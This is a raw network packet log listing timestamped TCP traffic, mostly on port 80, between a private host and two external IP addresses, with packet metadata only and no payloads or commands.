Sep 27, 2024 16:18:21.732873917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732887030 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732897997 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732909918 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732914925 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.732918978 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732929945 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732940912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732940912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732940912 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732954979 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732968092 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732974052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.732983112 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.732992887 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733002901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733014107 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733023882 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733036041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733036041 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733043909 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733081102 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733148098 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733633995 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733644962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733654022 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733664989 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733675957 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733680964 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733691931 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733700991 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733711958 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.733721972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733732939 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733738899 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733740091 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733750105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733760118 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733767986 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.733782053 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733788967 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.733792067 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733798981 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.733802080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733813047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733823061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733823061 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.733834028 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.733903885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.733903885 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734019041 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734030008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734040022 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734050989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734059095 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734061956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734097958 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734174967 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734185934 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734194994 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734205008 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734215021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734221935 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734225035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734236956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734237909 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734247923 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734257936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734266996 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734277010 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734282017 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734287024 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734302998 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734306097 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734327078 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734328032 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734337091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734347105 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734350920 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734357119 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734361887 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734368086 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734378099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734388113 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734390020 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734399080 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734407902 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734417915 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734426975 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734430075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734437943 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734447956 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734461069 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734483957 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.734983921 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.734994888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735011101 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735022068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735027075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735030890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735042095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735050917 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735095978 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735140085 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735151052 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735160112 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735169888 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735179901 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735183001 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735188961 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735198975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735208988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735218048 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735229015 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735232115 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735239029 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735245943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735245943 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735256910 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735279083 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735363960 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735456944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735467911 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735477924 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735505104 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735528946 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735537052 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735547066 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735558033 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735568047 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735578060 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735589981 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735594988 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735605001 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735613108 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735677004 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735685110 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735696077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735706091 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735716105 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735726118 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735735893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735743046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735752106 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.735764980 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735769987 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735774994 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735784054 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735795021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735811949 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735817909 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.735826015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735837936 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735841036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735841036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735847950 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735857964 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735861063 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735867977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735877991 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735882044 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735888958 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735903025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735905886 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735913992 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735924006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735929012 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735934019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735944033 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.735949993 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735975027 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.735997915 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.736582994 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736593962 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736603975 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736614943 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736624956 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736632109 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.736640930 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736650944 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736660957 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736674070 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.736679077 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736690044 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736699104 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736706018 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.736715078 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736726046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.736731052 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736742973 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736752987 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736764908 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.736773968 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736783981 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.736808062 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.736834049 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.737024069 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737046003 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737056971 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737066984 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737076998 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737088919 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.737093925 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737104893 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737116098 CEST	80	49615	185.215.113.117	192.168.2.6
Sep 27, 2024 16:18:21.737126112 CEST	45580	49610	65.21.18.51	192.168.2.6
Sep 27, 2024 16:18:21.737134933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737143040 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.737148046 CEST	49615	80	192.168.2.6	185.215.113.117
Sep 27, 2024 16:18:21.737157106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737174034 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737179041 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737184048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737193108 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737207890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737216949 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737219095 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737229109 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737237930 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737253904 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737253904 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737265110 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737274885 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737277985 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737284899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737294912 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737299919 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737303972 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737308979 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737313986 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737324953 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737327099 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737340927 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737351894 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737361908 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737361908 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737375021 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737385035 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737386942 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737396002 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737406015 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737413883 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737415075 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737426043 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737431049 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737436056 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737447977 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737457037 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.737984896 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.737997055 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738006115 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738015890 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738018036 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738027096 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738042116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738042116 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738051891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738061905 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738069057 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738073111 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738082886 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738094091 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738094091 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738105059 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738116026 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738127947 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738156080 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738339901 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738351107 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738359928 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738369942 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738378048 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738384962 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738394976 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738398075 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738404989 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738415003 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738425970 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738435984 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738445997 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738446951 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738457918 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738467932 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738473892 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738478899 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738493919 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738497972 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738503933 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738516092 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738522053 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738526106 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738535881 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738544941 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738545895 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738557100 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738567114 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738568068 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738578081 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738589048 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738590956 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738599062 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738609076 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738619089 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738629103 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738639116 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738648891 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738660097 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738677025 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738687038 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738698006 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738708019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738718987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738728046 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.738735914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738735914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738735914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738735914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738735914 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.738775969 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739305019 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739315987 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739325047 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739335060 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739346027 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739353895 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739360094 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739371061 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739382029 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739393950 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739397049 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739408016 CEST	80	49613	185.215.113.17	192.168.2.6
Sep 27, 2024 16:18:21.739417076 CEST	49613	80	192.168.2.6	185.215.113.17
Sep 27, 2024 16:18:21.739423990 CEST	80	49613	185.215.113.17	192.168.2.6
